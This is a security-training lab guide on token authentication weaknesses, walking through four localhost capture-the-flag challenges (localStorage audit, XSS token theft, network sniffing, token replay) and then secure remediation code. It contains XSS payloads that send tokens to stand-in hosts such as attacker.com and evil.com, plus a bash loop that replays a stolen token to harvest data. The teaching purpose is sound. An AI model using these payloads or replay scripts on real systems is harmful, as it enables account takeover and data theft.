[TARGET] Token Security Masterclass

Challenge Guide - Pentesting & Secure Remediation

[DOC] Document Purpose: This guide contains 4 hands-on penetration testing challenges targeting token authentication vulnerabilities. Complete this after setting up the lab environment from the Setup Guide.

!? Prerequisites:

- Lab environment installed and running (see Setup Guide)
- Server running at http://localhost:3000
- Modern web browser with DevTools (Chrome/Edge recommended)
- Terminal/PowerShell access for Challenge 4

[BOOK] Part 1: Foundational Knowledge

Before diving into the challenges, you need to understand the underlying concepts of token-based authentication and the vulnerabilities we'll be exploiting.

[LOCK] Understanding Authentication Tokens

What is an Authentication Token?

An authentication token is a digital credential that proves your identity to a system. Think of it like a backstage pass at a concert:

- **Physical Pass:** Shows security guards you're authorized
- **Digital Token:** Shows servers you're authenticated

Unlike passwords (which you send every time), tokens are issued once after login and then presented for subsequent requests.

Token Lifecycle

The Four Stages:

1. **Authentication:** User provides credentials (username/password)
2. **Issuance:** Server validates credentials and generates a token
3. **Storage:** Client stores token for future use
4. **Presentation:** Client sends token with each subsequent request

? Anatomy of a JWT (JSON Web Token)

Most modern applications use JWT (pronounced "jot"). A JWT consists of three parts separated by dots:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2
VyIn0.signature_hash
```

Part	Contains	Purpose	Encoded?
Header	Algorithm type (HS256, RS256)	Tells server how to verify signature	Base64 (readable)
Payload	User data (ID, role, permissions)	Contains identity and authorization info	Base64 (readable)
Signature	Cryptographic hash	Prevents tampering	Hashed (not readable)

[ALERT] Critical Misconception: Base64 encoding is NOT encryption! Anyone can decode the header and payload using a simple tool like jwt.io or even:

```
echo "eyJ1c2VyIjoiYWRtaW4ifQ==" | base64 -d
```

Result: `{"user":"admin"}`

The signature prevents modification, but NOT reading.

?? Token Storage: The Critical Decision

Option 1: localStorage (VULNERABLE)

```
// Storing token
localStorage.setItem('token', 'eyJhbGci...');

// Retrieving token
const token = localStorage.getItem('token');
```

Advantages	Disadvantages
[OK] Simple API [OK] Persists across sessions [OK] No server config needed	[X] Accessible to ALL JavaScript [X] Vulnerable to XSS attacks [X] No built-in security

Option 2: HttpOnly Cookies (SECURE)

```
// Server sets cookie
res.cookie('auth_token', token, {
    httpOnly: true,    // JavaScript CANNOT read this
    secure: true,      // Only sent over HTTPS
    sameSite: 'strict' // Prevents CSRF attacks
});
```

Advantages	Disadvantages
[OK] JavaScript cannot access [OK] Immune to XSS token theft [OK] Automatic with requests	[X] Requires server configuration [X] More complex CORS setup [X] Vulnerable to CSRF (mitigated by sameSite)

? HTTP vs HTTPS: The Transmission Layer

Why HTTPS Matters for Tokens

HTTP (Hypertext Transfer Protocol):

- Data transmitted in **plain text**
- Anyone on the network can read the data
- Like sending a postcard through the mail

HTTPS (HTTP Secure):

- Data **encrypted** with TLS/SSL
- Network observers see only gibberish
- Like sending a sealed, locked envelope

Token Interception Scenario

```
// HTTP Request (VULNERABLE)
GET /api/data HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

// Anyone on the WiFi network can read this token!
```

```
// HTTPS Request (SECURE)
GET /api/data HTTPS/1.1
Host: example.com
Authorization: Bearer [encrypted gibberish that only the server can decrypt]

// Network observers see encrypted data only
```

? Attack Vectors Explained

Attack 1: Cross-Site Scripting (XSS) + Token Theft

Definition: Injecting malicious JavaScript into a webpage that executes in victims' browsers.

Scenario:

1. Attacker finds a comment field that doesn't sanitize input
2. Attacker posts: `<script>fetch('https://attacker.com?token=' + localStorage.getItem('token'))</script>`
3. Every user viewing that comment has their token stolen
4. Attacker receives tokens at their server

Why localStorage makes this worse: If tokens were in HttpOnly cookies, the `localStorage.getItem()` call would return nothing. The token is inaccessible to JavaScript.

Attack 2: Network Sniffing (Man-in-the-Middle)

Definition: Intercepting network traffic to read unencrypted data.

Tools Used: Wireshark, tcpdump, Ettercap, Burp Suite

Common Scenarios:

- **Public WiFi:** Coffee shops, airports, hotels (unencrypted WiFi)
- **Compromised Routers:** Attacker gains access to network equipment
- **Malicious Hotspots:** Fake "Free WiFi" access points

Attack Flow:

```
User Device ???? HTTP Request with Token ????> Server
                         |
                 [Attacker's Sniffer]
                 Captures plain text:
                 "Authorization: Bearer eyJ..."
```

Attack 3: Token Replay Attack

Definition: Using a stolen token to impersonate the victim.

Why it works:

- Tokens are bearer credentials (whoever has it can use it)
- Servers don't verify the source IP or device
- No password needed once you have the token

Real-World Example:

1. Victim logs in at airport on HTTP
2. Attacker sniffs the token from network traffic

3. Attacker uses `curl` with stolen token from home
4. Server sees valid token and grants access
5. Victim never knows their account was compromised

?? Defense-in-Depth Principles

Secure token handling requires **multiple layers of protection**:

Layer	Protection	Defends Against
Storage	HttpOnly cookies	XSS token theft
Transmission	HTTPS only	Network sniffing
Expiration	Short-lived tokens (15-60 min)	Long-term token abuse
Rotation	Refresh tokens	Replay attacks
Validation	Signature verification	Token tampering
Monitoring	Anomaly detection	Suspicious activity

[READ] Key Principle: No single defense is perfect. Attackers must defeat **multiple** security layers to succeed.

[TARGET] Part 2: Capture-the-Flag Challenges

Now that you understand the theory, it's time to exploit these vulnerabilities hands-on. Each challenge builds upon the previous one, simulating a real-world attack chain.

!? Before Starting:

- Ensure the server is running: `npm start` in TokenLab folder
- Log in to the application at http://localhost:3000 (admin / admin123)
- Keep DevTools open (press F12)

[FLAG] Challenge 1: The Storage Audit

[TARGET] Objective: Locate the authentication token stored insecurely in the browser.

[TOOL]? Tools Required: Chrome/Edge Developer Tools (F12)

Scenario

You are a security auditor hired to assess a company's web application. Your first task is to verify whether the application stores sensitive credentials in an insecure manner. You suspect the authentication token is being stored in browser storage, accessible to any JavaScript code running on the page.

Background Knowledge

Modern browsers provide several storage mechanisms:

- **localStorage:** Persists indefinitely until manually cleared
- **sessionStorage:** Cleared when browser tab closes
- **Cookies:** Can be HttpOnly (secure) or JavaScript-accessible (insecure)

Security researchers check these locations first during audits because developers often choose convenience over security.

Step-by-Step Instructions

1 **Open the Application**

Navigate to `http://localhost:3000` and log in with `admin / admin123`

2 **Access Developer Tools**

Press `F12` (or Right-Click -> Inspect)

3 **Navigate to Application Tab**

Click the **Application** tab at the top. If you don't see it, click the `>>` arrows to reveal more tabs.

4 **Expand Storage Section**

On the left sidebar, expand **Local Storage** (click the arrow next to it)

5 **Select Your Domain**

Click on `http://localhost:3000`

6 **Identify the Token**

Look for an entry with the key `session_token`

What You Should See

Key	Value (Example)
session_token	eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIiwiaWQiOjk5OX

Mission Tasks

1. Copy the entire token value
2. Paste it into a text document
3. Try decoding it using an online Base64 decoder (google "base64 decode")

[OK] Challenge Complete When: You can see the token's plain text contents (should show: `{"user":"admin","role":"superuser","id":999}`)

Real-World Impact

You've just demonstrated that any JavaScript running on this page can access the token. This includes:

- Malicious browser extensions
- Third-party scripts (analytics, ads, chat widgets)
- Injected code from XSS vulnerabilities

? FLAG CAPTURED: Storage Vulnerability Confirmed

[FLAG] Challenge 2: XSS Simulation (Account Takeover)

[TARGET] Objective: Simulate a Cross-Site Scripting (XSS) attack to exfiltrate the authentication token.

[TOOL]? Tools Required: Browser Console (part of DevTools)

Scenario

You've confirmed the token is in localStorage. Now you need to prove that an attacker could **steal** it using JavaScript. In a real attack, this JavaScript would be injected via an XSS vulnerability (like an unsanitized comment field). For this lab, you'll execute the attack code directly in the console to simulate the same result.

Understanding XSS Attacks

Types of XSS:

Type	Description	Example
Stored XSS	Malicious script saved in database	Comment with `<script>` tag
Reflected XSS	Script in URL parameter	`?search=<script>alert()</script>`
DOM-based XSS	Client-side code vulnerability	Unsafe `innerHTML` usage

The Attack Code

In a real scenario, this would be injected into the page. We're simulating it via Console:

```
// Attacker's malicious script
const stolenToken = localStorage.getItem('session_token');
console.log("[ALERT] STOLEN TOKEN: " + stolenToken);

// In a real attack, this would be sent to attacker's server:
// fetch('https://attacker.com/collect?token=' + stolenToken);
```

Step-by-Step Instructions

1 **Ensure You're Logged In**

Stay on the admin panel page (you should see "AUTHENTICATED" status)

2 **Open Browser Console**

In DevTools, click the **Console** tab

3 **Execute Attack Code**

Type or paste the following command and press Enter:

```
console.log("STOLEN TOKEN: " +
localStorage.getItem('session_token'))
```

4 **Observe the Result**

The console will print the token in full

Advanced Exercise: Full Exfiltration Simulation

Try this enhanced attack that mimics sending the token to an attacker-controlled server:

```
// Simulate exfiltration (won't actually send, just logs intent)
const token = localStorage.getItem('session_token');
const attackerServer = 'https://evil.com/steal';
const exfiltrationURL = attackerServer + '?token=' + token;

console.log("[SIGNAL] Exfiltrating to: " + exfiltrationURL);
console.log("[ALERT] Token length: " + token.length + " characters");
console.log("[ALERT] Decoded token: " + atob(token));
```

[ALERT] Why This Works:
The browser executes ANY JavaScript with full access to localStorage. If an attacker can inject code (via XSS), they inherit all the permissions of the current page-including reading stored tokens.

Real-World Defense

If the token was stored in an HttpOnly cookie instead:

```
// This would return NULL with HttpOnly cookies
console.log(document.cookie); // Output: ""

// The token is simply not accessible to JavaScript AT ALL
```

[OK] Challenge Complete When: The token appears in the console output, proving JavaScript can access it.

? FLAG CAPTURED: XSS Token Exfiltration Successful

[FLAG] Challenge 3: Network Sniffing

[TARGET] Objective: Intercept the authentication token during transmission by monitoring network traffic.

[TOOL]? Tools Required: Browser Network Tab (DevTools)

Scenario

You are on the same WiFi network as your target (airport, coffee shop, hotel). The target is using an application that transmits tokens over HTTP. You want to capture their token without needing malware or XSS-just by passively listening to network traffic.

In this lab, we'll use the browser's Network tab to simulate what a tool like **Wireshark** would capture on a real network.

Understanding Network Sniffing

How it works:

1. WiFi traffic is broadcast to all devices in range
2. Network adapters can be put in "promiscuous mode" to capture all packets
3. Tools reassemble HTTP requests from captured packets
4. Unencrypted data (like tokens over HTTP) is visible in plain text

Common Tools:

- **Wireshark:** GUI packet analyzer (most popular)
- **tcpdump:** Command-line packet capture
- **Ettercap:** MitM attack framework
- **Burp Suite:** Web proxy for HTTP(S) traffic

Step-by-Step Instructions

1. **Open Network Tab**

In DevTools, click the **Network** tab

2. **Clear Previous Requests**

Click the ? (clear) icon to remove old entries

3. **Trigger a Request**

Click the **RETRIEVE CLASSIFIED DATA** button on the webpage

4. **Locate the API Call**

Find the request named `classified` in the list

5. **Inspect Request Headers**

Click on the `classified` request, then select the **Headers** tab on the right

6. **Find Authorization Header**

Scroll down to **Request Headers** section

What You Should See

```
Request Headers:
Accept: */*
Authorization: Bearer
eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIiwiaWQiOjk5OX0=
Referer: http://localhost:3000/
User-Agent: Mozilla/5.0...
```

[ALERT] Critical Finding: The `Authorization` header contains the full token in **plain text**. On a real network, this would be visible to anyone with a packet sniffer.

Simulating a Real Network Capture

If you were using Wireshark on the same network, you'd capture packets that look like this:

```
GET /api/classified HTTP/1.1
Host: vulnerable-app.com
Authorization: Bearer
eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIiwiaWQiOjk5OX0=
Cookie: session_id=abc123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

[Response would follow with the classified data]
```

Attacker's Actions:

1. Use Wireshark filter: `http.request.method == "GET" && http.authorization`
2. See all HTTP requests with Authorization headers
3. Copy the Bearer token
4. Use it in their own requests (Challenge 4)

Why HTTPS Prevents This

With HTTPS, the attacker's Wireshark capture would show:

```
Encrypted Application Data (TLS 1.3)
[Gibberish encrypted bytes]
[No readable content]
```

The Authorization header is encrypted along with all other HTTP data. Even the URL path `/api/classified` is hidden.

Mission Tasks

1. Copy the entire Authorization header value
2. Verify it starts with "Bearer"
3. Note that this is traveling over HTTP (check the URL bar - no padlock icon)

[OK] Challenge Complete When: You can see the Authorization header with the Bearer token in plain text.

? FLAG CAPTURED: Network Token Interception Successful

[FLAG] Challenge 4: Replay Attack (The Grand Finale)

[TARGET] Objective: Use a stolen token to access the API without knowing the password, simulating a complete account takeover.

[TOOL]? Tools Required: Terminal/PowerShell and curl (or similar HTTP client)

Scenario

You've successfully intercepted the authentication token (Challenge 3). Now you're at home, miles away from the victim. You want to access their account data without ever knowing their password. This is called a **replay attack**-you're "replaying" the stolen credential.

Why Replay Attacks Work

Tokens are **bearer credentials**, meaning:

- **"Bearer"** = whoever "bears" (possesses) this token is authenticated
- No additional proof of identity required
- Server doesn't check if you're the original user
- Server doesn't verify your IP address or device fingerprint

It's like stealing a VIP wristband-security doesn't check if you're the original owner, just that you have the wristband.

Attack Preparation

1 **Retrieve Your Stolen Token**

From Challenge 1 or 3, copy the token. It should look like:

```
eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIiwiaWQiOjk5OX0=
```

2 Open Terminal/PowerShell

- **Windows:** Search for "PowerShell" or "Windows Terminal"
- **Mac/Linux:** Open Terminal application

The Attack Command

Replace `[YOUR_TOKEN_HERE]` with the actual token you copied:

For Windows PowerShell:

```
curl -v -H "Authorization: Bearer [YOUR_TOKEN_HERE]" http://
localhost:3000/api/classified
```

For Mac/Linux Terminal:

```
curl -v -H "Authorization: Bearer [YOUR_TOKEN_HERE]" http://
localhost:3000/api/classified
```

Example with Real Token

```
curl -v -H "Authorization: Bearer
eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIiwiaWQiOjk5OX0=" http://
localhost:3000/api/classified
```

Understanding the Command

Part	Purpose
`curl`	Command-line HTTP client
`-v`	Verbose mode (shows request/ response details)
`-H "Authorization: Bearer ..."`	Sets the Authorization header with your stolen token
`http://localhost:3000/api/classified`	Target API endpoint

Expected Output (SUCCESS)

```
* Connected to localhost (127.0.0.1) port 3000
> GET /api/classified HTTP/1.1
> Host: localhost:3000
> User-Agent: curl/7.68.0
> Accept: */*
> Authorization: Bearer
eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIiwiaWQiOjk5OX0=

< HTTP/1.1 200 OK
< Content-Type: application/json

{
  "message": "Access Granted to Classified Information",
  "secret_flag": "FLAG{Network_Sniffing_Master_882}",
  "timestamp": "2024-01-15T10:30:00.000Z"
}
```

[PARTY] VICTORY! You've accessed classified data without ever knowing the password. This proves the complete attack chain:

1. Token stolen from insecure storage (Challenge 1-2)

2. Token intercepted from network (Challenge 3)
3. Token replayed to access account (Challenge 4)

What This Demonstrates

- **No browser needed:** curl is a command-line tool
- **No GUI needed:** Can be automated in scripts
- **No password needed:** Token bypasses authentication
- **Victim unaware:** No logout, no notification
- **Can be from anywhere:** Different country, different device

Advanced: Automating the Attack

An attacker could script this to steal data continuously:

```
#!/bin/bash
TOKEN="eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIiwiaWQiOjk5OX0="

# Steal data every 60 seconds
while true; do
    curl -s -H "Authorization: Bearer $TOKEN" \
         http://victim.com/api/classified >> stolen_data.txt
    sleep 60
done
```

Mission Tasks

1. Execute the curl command successfully
2. Capture the `secret_flag` value from the response
3. Verify you never entered a password

? FINAL FLAG: FLAG{Network_Sniffing_Master_882}

[OK] MASTERCLASS COMPLETE: You've successfully completed all four challenges and demonstrated a full account takeover attack chain.

?? Part 3: Secure Remediation

Now that you've exploited these vulnerabilities, it's time to learn how to fix them properly. Security is not just about finding problems-it's about building secure systems.

Remediation 1: Secure Token Storage

The Problem (Current Code)

```
// VULNERABLE: server.js
app.post('/login', (req, res) => {
    const token = generateToken(user);
    res.json({ token: token }); // [X] Sent in response body
});

// VULNERABLE: app.js
localStorage.setItem('session_token', token); // [X] Accessible to JavaScript
```

The Solution: HttpOnly Cookies

```
// SECURE: server.js
app.post('/login', (req, res) => {
    const token = generateToken(user);

    // [OK] Send token as HttpOnly cookie
    res.cookie('auth_token', token, {
        httpOnly: true,     // JavaScript cannot access
        secure: true,       // Only sent over HTTPS
        sameSite: 'strict', // Prevents CSRF
        maxAge: 3600000     // 1 hour expiration
    });

    // [OK] Don't send token in response body
    res.json({
        success: true,
        message: 'Logged in successfully'
    });
});
```

```
// SECURE: app.js
function login() {
    fetch(`${API}/login`, {
        method: 'POST',
        credentials: 'include', // [OK] Include cookies automatically
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({username, password})
    })
    .then(res => res.json())
    .then(data => {
        if(data.success) {
            // [OK] No manual token storage needed!
            // Cookie is automatically sent with subsequent requests
            showPanel(true);
        }
    });
}

function getClassified() {
    fetch(`${API}/api/classified`, {
        credentials: 'include' // [OK] Cookie sent automatically
    })
    .then(res => res.json())
    .then(data => displayData(data));
}
```

Why This Works

Attack Vector	Before (Vulnerable)	After (Secure)
XSS Token Theft	`localStorage.getItem('token')` works	`document.cookie` returns empty (HttpOnly blocks it)
Malicious Extension	Can read all localStorage	Cannot access HttpOnly cookies
Console Exploitation	Token visible in DevTools	Cookie value hidden from JavaScript

Remediation 2: Secure Transmission (HTTPS Enforcement)

The Problem

```
// VULNERABLE: server.js
const http = require('http');
http.createServer(app).listen(3000); // [X] HTTP (unencrypted)
```

The Solution: HTTPS + HSTS

```
// SECURE: server.js
const https = require('https');
const fs = require('fs');

// Load SSL certificate (from Let's Encrypt, etc.)
const options = {
    key: fs.readFileSync('private-key.pem'),
    cert: fs.readFileSync('certificate.pem')
};

// Force HTTPS with HSTS header
app.use((req, res, next) => {
    // [OK] Strict-Transport-Security tells browsers: "ALWAYS use HTTPS"
    res.setHeader('Strict-Transport-Security',
                  'max-age=31536000; includeSubDomains; preload');
    next();
});

// Redirect HTTP to HTTPS
app.use((req, res, next) => {
    if (!req.secure) {
        return res.redirect(301, `https://${req.headers.host}${req.url}`);
    }
    next();
});

https.createServer(options, app).listen(443);
console.log('[OK] Server running on HTTPS (port 443)');
```

Understanding HSTS (HTTP Strict Transport Security)

What HSTS does:

- Tells browsers to **always** use HTTPS for this domain
- Prevents users from clicking through certificate warnings
- Protects against SSL stripping attacks
- `max-age=31536000` = 1 year duration
- `includeSubDomains` = Apply to all subdomains
- `preload` = Submit to browser HSTS preload list

Remediation 3: Token Expiration & Rotation

The Problem

```
// VULNERABLE: Token never expires
const token = jwt.sign({ user: 'admin' }, SECRET);
// [X] Valid forever (or until manually revoked)
```

The Solution: Short-Lived Access Tokens + Refresh Tokens

```
// SECURE: server.js
const jwt = require('jsonwebtoken');

app.post('/login', (req, res) => {
    // [OK] Access token: short-lived (15 minutes)
    const accessToken = jwt.sign(
        { user: username, role: 'admin' },
        ACCESS_TOKEN_SECRET,
        { expiresIn: '15m' } // [OK] Expires in 15 minutes
    );

    // [OK] Refresh token: longer-lived (7 days)
    const refreshToken = jwt.sign(
        { user: username },
        REFRESH_TOKEN_SECRET,
        { expiresIn: '7d' }
    );

    // Store refresh token in database for validation
    storeRefreshToken(username, refreshToken);

    res.cookie('access_token', accessToken, {
        httpOnly: true,
        secure: true,
        maxAge: 15 * 60 * 1000 // 15 minutes
    });

    res.cookie('refresh_token', refreshToken, {
        httpOnly: true,
        secure: true,
        maxAge: 7 * 24 * 60 * 60 * 1000 // 7 days
    });

    res.json({ success: true });
});

// [OK] Endpoint to refresh expired access tokens
app.post('/refresh', (req, res) => {
    const refreshToken = req.cookies.refresh_token;

    if (!refreshToken) {
        return res.status(401).json({ error: 'No refresh token' });
    }

    // Verify refresh token is valid and not revoked
    if (!isRefreshTokenValid(refreshToken)) {
        return res.status(403).json({ error: 'Invalid refresh token' });
    }
    // Generate new access token
    const newAccessToken = jwt.sign(
        { user: username, role: 'admin' },
        ACCESS_TOKEN_SECRET,
        { expiresIn: '15m' }
    );

    res.cookie('access_token', newAccessToken, {
        httpOnly: true,
        secure: true,
        maxAge: 15 * 60 * 1000
    });

    res.json({ success: true });
});
```

How This Works

Two-Token System:

1. **Access Token (Short-lived):** Used for API requests, expires in 15 minutes
2. **Refresh Token (Long-lived):** Used to obtain new access tokens, expires in 7 days

If token stolen:

- Attacker only has 15 minutes before access token expires
- Refresh token stored in HttpOnly cookie (harder to steal)
- Refresh tokens can be revoked server-side immediately

Remediation 4: Additional Security Layers

Content Security Policy (CSP)

Prevents XSS by restricting what JavaScript can execute:

```
app.use((req, res, next) => {
    res.setHeader('Content-Security-Policy',
        "default-src 'self'; " +
        "script-src 'self'; " +
        "style-src 'self' 'unsafe-inline'; " +
        "img-src 'self' data: https:;"
    );
    next();
});
```

Token Binding (Advanced)

Bind tokens to specific devices/browsers:

```
const token = jwt.sign({
    user: username,
    fingerprint: hashDeviceFingerprint(req) // Browser + Device ID
}, SECRET);

// Later, verify fingerprint matches
if (token.fingerprint !== hashDeviceFingerprint(req)) {
    throw new Error('Token stolen - fingerprint mismatch');
}
```

Rate Limiting

Prevent brute-force attacks on stolen tokens:

```
const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
    windowMs: 15 * 60 * 1000, // 15 minutes
    max: 100 // Max 100 requests per 15 minutes
});

app.use('/api/', limiter);
```

Complete Secure Implementation

Here's the full secure server code incorporating all remediations:

```
const express = require('express');
const https = require('https');
const jwt = require('jsonwebtoken');
const cookieParser = require('cookie-parser');
const rateLimit = require('express-rate-limit');
const fs = require('fs');

const app = express();
app.use(express.json());
app.use(cookieParser());

// [OK] Security Headers
app.use((req, res, next) => {
    res.setHeader('Strict-Transport-Security', 'max-age=31536000;
includeSubDomains');
    res.setHeader('Content-Security-Policy', "default-src 'self'");
    res.setHeader('X-Content-Type-Options', 'nosniff');
    res.setHeader('X-Frame-Options', 'DENY');
    next();
});

// [OK] Rate Limiting
const limiter = rateLimit({
    windowMs: 15 * 60 * 1000,
    max: 100
});
app.use('/api/', limiter);

// [OK] Secure Login
app.post('/login', (req, res) => {
    const { username, password } = req.body;

    if (!authenticate(username, password)) {
        return res.status(401).json({ error: 'Invalid credentials' });
    }

    const accessToken = jwt.sign(
        { user: username, role: 'admin' },
        process.env.ACCESS_TOKEN_SECRET,
        { expiresIn: '15m' }
    );

    res.cookie('access_token', accessToken, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 15 * 60 * 1000
    });
    res.json({ success: true });
});

// [OK] Token Verification Middleware
function verifyToken(req, res, next) {
    const token = req.cookies.access_token;

    if (!token) {
        return res.status(401).json({ error: 'No token provided' });
    }

    jwt.verify(token, process.env.ACCESS_TOKEN_SECRET, (err, decoded) => {
        if (err) {
            return res.status(403).json({ error: 'Invalid token' });
        }
        req.user = decoded;
        next();
    });
}

// [OK] Secure API Endpoint
app.get('/api/classified', verifyToken, (req, res) => {
    res.json({
        message: 'Access granted',
        data: 'Classified information',
        user: req.user.user
    });
});

// [OK] HTTPS Server
const options = {
    key: fs.readFileSync('key.pem'),
    cert: fs.readFileSync('cert.pem')
};

https.createServer(options, app).listen(443, () => {
    console.log('[OK] Secure server running on https://localhost:443');
});
```

? Part 4: Vulnerability Comparison

Aspect	**Vulnerable (Original)**	**Secure (Remediated)**
Token Storage	localStorage (JavaScript accessible)	HttpOnly cookie (JavaScript blocked)
Transmission	HTTP (plain text)	HTTPS (encrypted)
Token Lifetime	No expiration	15 minutes + refresh token
XSS Protection	Vulnerable to token theft	HttpOnly + CSP headers
Network Sniffing	Token visible in plain text	Encrypted with TLS 1.3
Replay Attack Window	Unlimited (no expiration)	15 minutes maximum
Revocation	Impossible (stateless)	Possible (refresh token blacklist)

[GRAD] Part 5: Answer Key

[UNLOCK] Challenge 1 - Storage Audit

Location: DevTools -> Application -> Local Storage -> http://localhost:3000

Key Name: `session_token`

Value Format: Base64-encoded string starting with `eyJ1c2Vy...`

Decoded Content:

```
{
    "user": "admin",
    "role": "superuser",
    "id": 999,
    "issued": [timestamp]
}
```

Why This Matters: Any JavaScript on the page can execute `localStorage.getItem('session_token')` and steal this value. This includes malicious browser extensions, third-party scripts, and XSS attacks.

[UNLOCK] Challenge 2 - XSS Simulation

Attack Command:

```
console.log(localStorage.getItem('session_token'))
```

Expected Output: The full token value printed to console

Real-World Equivalent:

```
// Injected via XSS vulnerability
<script>
fetch('https://attacker.com/steal?token=' +
localStorage.getItem('session_token'))
</script>
```

Why This Works: localStorage is accessible to ALL JavaScript running in the same origin. Browser has no way to distinguish between legitimate app code and malicious injected code.

[UNLOCK] Challenge 3 - Network Sniffing

Location: Network Tab -> classified request -> Headers -> Request Headers

Header Name: `Authorization`

Header Value: `Bearer eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIiwiaWQiOjk5OX0=`

Transmission Protocol: HTTP (unencrypted)

Real Wireshark Filter:

```
http.request.method == "GET" && http.authorization
```

Why This Works: HTTP transmits all data in plain text. Anyone on the same network (WiFi, router path) can capture these packets and extract the token.

[UNLOCK] Challenge 4 - Replay Attack

Command:

```
curl -v -H "Authorization: Bearer [STOLEN_TOKEN]" http://localhost:3000/
api/classified
```

Success Response:

```
{
  "message": "Access Granted to Classified Information",
  "secret_flag": "FLAG{Network_Sniffing_Master_882}",
  "timestamp": "2024-01-15T10:30:00.000Z"
}
```

The Flag: `FLAG{Network_Sniffing_Master_882}`

Why This Works: Tokens are bearer credentials. The server only checks if the token is valid, not who's presenting it or from where. No password required, no device verification, no IP check.

Attack Chain Completed:

1. Discovered insecure storage (Challenge 1)
2. Simulated XSS theft (Challenge 2)
3. Intercepted network transmission (Challenge 3)
4. Replayed stolen token for access (Challenge 4)

[BOOK] Additional Learning Resources

Official Documentation

- **OWASP Authentication Cheat Sheet:** https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
- **JWT Best Practices:** https://tools.ietf.org/html/rfc8725
- **MDN Web Security:** https://developer.mozilla.org/en-US/docs/Web/Security

Books

- **"The Web Application Hacker's Handbook"** by Dafydd Stuttard
- **"Real-World Bug Hunting"** by Peter Yaworski
- **"OAuth 2 in Action"** by Justin Richer

Practice Platforms

- **PortSwigger Web Security Academy:** Free labs on authentication vulnerabilities
- **HackTheBox:** Real-world penetration testing challenges
- **TryHackMe:** Guided cybersecurity learning paths
- **DVWA:** Damn Vulnerable Web Application (local lab)

Tools to Master

- **Burp Suite:** Industry-standard web vulnerability scanner
- **OWASP ZAP:** Free alternative to Burp Suite

- **Wireshark:** Network protocol analyzer
- **Postman:** API testing and development

[PARTY] Conclusion

[TROPHY] Congratulations! You've completed the Token Security Masterclass. You've learned to:

- [OK] Identify insecure token storage in localStorage
- [OK] Simulate XSS attacks to steal authentication credentials
- [OK] Intercept network traffic to capture tokens in transit
- [OK] Execute replay attacks using stolen tokens
- [OK] Implement secure remediation with HttpOnly cookies and HTTPS

Key Takeaways

1. **Storage Matters:** localStorage is convenient but insecure for sensitive credentials. Always use HttpOnly cookies.
2. **HTTPS is Non-Negotiable:** Any authentication system without HTTPS is fundamentally broken.
3. **Tokens Must Expire:** Long-lived tokens increase attack windows. Use short expiration + refresh tokens.
4. **Defense-in-Depth:** No single security measure is sufficient. Layer multiple protections.
5. **Assume Breach:** Design systems assuming attackers will eventually steal credentials. Limit damage through expiration and monitoring.

Next Steps

1. **Implement the secure version** of the server code in a new project
2. **Test with real SSL certificates** using Let's Encrypt
3. **Deploy with proper CORS** and HSTS headers
4. **Add refresh token logic** with database-backed revocation
5. **Explore OAuth 2.0 and OpenID Connect** for enterprise authentication

!? Responsible Disclosure Reminder: If you discover real vulnerabilities in production systems, follow responsible disclosure practices:

1. Report privately to the organization
2. Allow reasonable time for fixes (90 days standard)
3. Don't exploit or share vulnerabilities publicly before fixes
4. Consider bug bounty programs for compensation

Document Version: 1.0 | **Last Updated:** 2024

Credits: Developed for security training and awareness purposes.